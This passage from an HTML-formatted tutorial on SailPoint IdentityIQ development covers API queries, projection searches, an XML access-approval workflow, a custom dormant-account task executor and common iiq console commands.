&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Iterator&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.List&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.ArrayList&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// 1. Fetch a single object by name&lt;/span&gt;
&lt;span class="nc"&gt;Identity&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getObjectByName&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"jdoe"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 2. Fetch by ID&lt;/span&gt;
&lt;span class="nc"&gt;Application&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getObjectById&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Application&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;appId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 3. Query with filters&lt;/span&gt;
&lt;span class="nc"&gt;QueryOptions&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;QueryOptions&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFilter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;eq&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"inactive"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;)));&lt;/span&gt;
&lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFilter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;like&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"department"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Engineering"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MatchMode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;START&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
&lt;span class="nc"&gt;List&lt;/span&gt; &lt;span class="n"&gt;identities&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getObjects&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 4. Save changes — BOTH calls are required&lt;/span&gt;
&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"riskTier"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"HIGH"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;saveObject&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;commitTransaction&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Use Projection Queries for Bulk Reads
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;context.getObjects()&lt;/code&gt; hydrates every full object into memory. Against a large identity cube this will exhaust the heap. When you only need a few fields, use a projection query, which returns an iterator over &lt;code&gt;Object[]&lt;/code&gt; rows and streams results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.QueryOptions&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Identity&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Iterator&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.ArrayList&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.List&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;QueryOptions&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;QueryOptions&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFilter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;eq&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"inactive"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;)));&lt;/span&gt;

&lt;span class="nc"&gt;List&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;Iterator&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;search&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hasNext&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[])&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"Processed "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" identities"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For long-running loops, call &lt;code&gt;context.decache()&lt;/code&gt; periodically to clear the Hibernate session, or memory will grow until the task fails.&lt;/p&gt;

&lt;h2&gt;
  
  
  Workflows: Orchestrating Processes That Pause
&lt;/h2&gt;

&lt;p&gt;A workflow is an XML state machine. It exists because rules cannot wait. When a user requests access and a manager must approve it, the process may sit idle for days — the workflow persists to a &lt;code&gt;WorkflowCase&lt;/code&gt; row and resumes when the approval arrives, surviving application restarts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Steps and Transitions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Workflow&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Access Request Approval"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"LCMProvisioning"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Variable&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identityName"&lt;/span&gt; &lt;span class="na"&gt;input=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Variable&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"plan"&lt;/span&gt; &lt;span class="na"&gt;input=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Variable&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"approvalDecision"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Start"&lt;/span&gt; &lt;span class="na"&gt;icon=&lt;/span&gt;&lt;span class="s"&gt;"Start"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Evaluate Risk"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Evaluate Risk"&lt;/span&gt; &lt;span class="na"&gt;resultVariable=&lt;/span&gt;&lt;span class="s"&gt;"riskLevel"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Script&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
      import sailpoint.object.Identity;
      Identity id = context.getObjectByName(Identity.class, identityName);
      if (id != null &amp;amp;&amp;amp; id.getScore() != null &amp;amp;&amp;amp; id.getScore().intValue() &amp;gt;&lt;/span&gt; 500) {
          return "HIGH";
      }
      return "LOW";
    ]]&amp;gt;&lt;span class="nt"&gt;&amp;lt;/Script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Manager Approval"&lt;/span&gt; &lt;span class="na"&gt;when=&lt;/span&gt;&lt;span class="s"&gt;'riskLevel == "HIGH"'&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Auto Approve"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Manager Approval"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Approval&lt;/span&gt; &lt;span class="na"&gt;mode=&lt;/span&gt;&lt;span class="s"&gt;"serial"&lt;/span&gt; &lt;span class="na"&gt;owner=&lt;/span&gt;&lt;span class="s"&gt;"script:..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Arg&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"workItemDescription"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Approve access request"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Approval&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Provision"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Auto Approve"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Provision"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Provision"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"call:provisionProject"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Stop"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Stop"&lt;/span&gt; &lt;span class="na"&gt;icon=&lt;/span&gt;&lt;span class="s"&gt;"Stop"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Workflow&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key mechanics:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;Transition&amp;gt;&lt;/code&gt; order matters.&lt;/strong&gt; They are evaluated top to bottom and the first matching &lt;code&gt;when&lt;/code&gt; wins. Always place a bare &lt;code&gt;&amp;lt;Transition&amp;gt;&lt;/code&gt; last as the default branch, or the workflow will dead-end.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;resultVariable&lt;/code&gt;&lt;/strong&gt; captures a step's return value into a workflow variable usable by later steps and transition conditions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Variables marked &lt;code&gt;input="true"&lt;/code&gt;&lt;/strong&gt; are supplied by the caller. Everything else starts null.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Debugging Workflows
&lt;/h3&gt;

&lt;p&gt;Workflows fail silently more often than rules do, because a failed transition simply stops the case. Two techniques:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Enable workflow trace.&lt;/strong&gt; Add &lt;code&gt;&amp;lt;Arg name="trace" value="true"/&amp;gt;&lt;/code&gt; to the workflow, and step-by-step execution prints to stdout — usually &lt;code&gt;catalina.out&lt;/code&gt; on Tomcat.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inspect the stuck case.&lt;/strong&gt; In the iiq console: &lt;code&gt;list WorkflowCase&lt;/code&gt; then &lt;code&gt;checkout WorkflowCase "&amp;lt;name&amp;gt;" /tmp/case.xml&lt;/code&gt; to see exactly which step it halted on and the state of every variable.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Tasks: Scheduled Bulk Operations
&lt;/h2&gt;

&lt;p&gt;Tasks are &lt;code&gt;TaskDefinition&lt;/code&gt; objects run on a schedule. The built-ins cover most needs — &lt;strong&gt;Account Aggregation&lt;/strong&gt; pulls accounts from a source, &lt;strong&gt;Identity Refresh&lt;/strong&gt; recalculates attributes, roles, and risk scores across the identity cube.&lt;/p&gt;

&lt;p&gt;When you need behaviour the built-ins do not provide, write a custom task executor in Java (not BeanShell) by implementing &lt;code&gt;TaskExecutor&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.example.iiq.task&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.api.SailPointContext&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Attributes&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.TaskResult&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.TaskSchedule&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.task.AbstractTaskExecutor&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DormantAccountTask&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;AbstractTaskExecutor&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;terminated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SailPointContext&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;TaskSchedule&lt;/span&gt; &lt;span class="n"&gt;schedule&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                        &lt;span class="nc"&gt;TaskResult&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Attributes&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"dormantDays"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;processed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ... query and process identities, checking terminated each iteration&lt;/span&gt;

        &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"identitiesProcessed"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;processed&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"dormantThreshold"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;terminate&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;terminated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compile this into a JAR, drop it in &lt;code&gt;IdentityIQ_HOME/WEB-INF/lib/&lt;/code&gt;, restart the application server, and register it with a &lt;code&gt;TaskDefinition&lt;/code&gt; XML pointing at the class name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Always honour &lt;code&gt;terminate()&lt;/code&gt;.&lt;/strong&gt; A task that ignores it cannot be stopped from the UI, and an administrator's only remaining option is restarting the application server.&lt;/p&gt;

&lt;h2&gt;
  
  
  The iiq Console
&lt;/h2&gt;

&lt;p&gt;The console is where you deploy, inspect, and debug. Launch it from &lt;code&gt;IdentityIQ_HOME/WEB-INF/bin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./iiq console          &lt;span class="c"&gt;# Linux/macOS&lt;/span&gt;
iiq.bat console        &lt;span class="c"&gt;# Windows&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It requires the System Administrator capability and authenticates as &lt;code&gt;spadmin&lt;/code&gt; by default. The commands you will use constantly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; import /path/to/rules.xml           &lt;span class="c"&gt;# deploy an object&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; checkout Rule &lt;span class="s2"&gt;"My Rule"&lt;/span&gt; /tmp/r.xml  &lt;span class="c"&gt;# export for review or migration&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; list Rule                           &lt;span class="c"&gt;# enumerate objects of a class&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; get Identity jdoe                   &lt;span class="c"&gt;# print an object as XML&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; rule &lt;span class="s2"&gt;"My Rule"&lt;/span&gt;                      &lt;span class="c"&gt;# execute a rule interactively&lt;/span&gt;
